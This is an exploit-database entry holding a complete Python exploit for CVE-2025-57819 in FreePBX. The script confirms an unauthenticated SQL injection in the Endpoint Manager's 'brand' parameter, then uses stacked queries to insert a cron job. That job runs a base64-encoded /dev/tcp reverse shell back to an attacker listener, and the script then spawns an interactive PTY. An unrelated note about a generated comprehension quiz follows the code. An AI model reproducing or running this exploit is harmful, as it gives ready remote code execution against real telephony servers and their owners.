[webapps] FreePBX 17.0.2
# Exploit Title: FreePBX 17.0.2 - Remote Code Execution
# Date: 2026-08-12
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.freepbx.org/
# Software Link: https://github.com/FreePBX/freepbx
# Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3
# Tested on: Linux (Debian/Ubuntu) with Asterisk
# CVE: CVE-2025-57819
# CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass)
# CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819
# References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h
#
# Description:
# CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the
# Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the
# /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries.
#
# An unauthenticated attacker can exploit this by sending a crafted GET request that injects
# arbitrary SQL commands. Because the application uses stacked queries (multiple statements
# separated by semicolons), an attacker can execute an INSERT statement to add a malicious
# cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with
# administrative privileges (typically as the Apache user), leading to full remote code
# execution on the underlying server.
#
# The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89,
# and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is
# listed in CISA's Known Exploited Vulnerabilities catalog.
#
# This exploit automates the process by:
# 1. Validating the target is vulnerable using an error-based SQLi detection.
# 2. Starting a reverse shell listener on the attacker's machine.
# 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi.
# 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell.
#
# Usage:
# python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444
import sys
import time
import requests
import urllib3
import socket
import threading
import base64
import argparse
from rich.console import Console
console = Console()
def banner():
console.print("[cyan]CVE-2025-57819 β’ FreePBX Unauth SQLi β RCE[/cyan]")
console.print("[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]")
console.print("[yellow]Need a hug? Κγ£β’α΄₯β’Κγ£[/yellow]")
print()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def validate_sqli(target_url):
vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
params = {
'module': 'FreePBX\\modules\\endpoint\\ajax',
'command': 'model',
'template': 'x',
'model': 'model',
'brand': payload
}
try:
response = requests.get(vuln_url, params=params, verify=False, timeout=15)
if "XPATH syntax error" in response.text and "freepbxuser" in response.text:
console.print("[green][+][/green] Exploit path confirmed!")
return True
else:
console.print("[red][-][/red] Target immune β no vulnerable signature detected.")
return False
except Exception as e:
console.print(f"[red][-][/red] Probe failed: {e}")
return False
def start_listener(lhost, lport):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind((lhost, lport))
except Exception as e:
console.print(f"[red][-][/red] Listener deployment failed: {e}")
sys.exit(1)
server.listen(1)
console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...")
client, addr = server.accept()
console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!")
pty_attempts = [
b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
b"script -q /dev/null /bin/bash\n",
]
for cmd in pty_attempts:
client.send(cmd)
time.sleep(0.5)
console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.")
def reader():
while True:
try:
data = client.recv(4096)
if not data:
break
sys.stdout.buffer.write(data)
sys.stdout.flush()
except:
break
recv_thread = threading.Thread(target=reader)
recv_thread.daemon = True
recv_thread.start()
try:
while True:
cmd = input()
if cmd.lower() == 'exit':
client.close()
break
client.send((cmd + "\n").encode())
except (EOFError, KeyboardInterrupt):
print()
console.print("[yellow][!][/yellow] Forced session termination.")
client.close()
except Exception as e:
console.print(f"[red][-][/red] Channel error: {e}")
client.close()
console.print("[blue][*][/blue] Remote session closed.")
def exploit(target_url, lhost, lport):
banner()
console.print(f"[blue][*][/blue] Target locked: {target_url}")
listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))
listener_thread.daemon = True
listener_thread.start()
time.sleep(1)
if not validate_sqli(target_url):
console.print("[red][-][/red] Exploit aborted β target not vulnerable.")
sys.exit(1)
shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'"
b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()
final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash"
hex_payload = final_cmd.encode().hex()
sql_payload = (
f"x' ;INSERT INTO cron_jobs "
f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
)
vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
params = {
'module': 'FreePBX\\modules\\endpoint\\ajax',
'command': 'model',
'template': 'x',
'model': 'model',
'brand': sql_payload
}
console.print("[blue][*][/blue] Injecting payload into cron schedule...")
try:
response = requests.get(vuln_url, params=params, verify=False, timeout=15)
if response.status_code in (200, 500):
console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})")
console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...")
else:
console.print(f"[red][-][/red] Unexpected status {response.status_code} β payload may have missed.")
console.print(response.text[:200])
sys.exit(1)
except Exception as e:
console.print(f"[red][-][/red] Injection delivery failed: {e}")
sys.exit(1)
console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60β90 seconds...")
listener_thread.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX Unauthenticated SQLi β RCE")
parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)")
parser.add_argument("--lhost", required=True, help="Listener IP address")
parser.add_argument("--lport", type=int, required=True, help="Listener port")
args = parser.parse_args()
exploit(args.url, args.lhost, args.lport)
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content β general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached β you'll always get the same 5 for this article.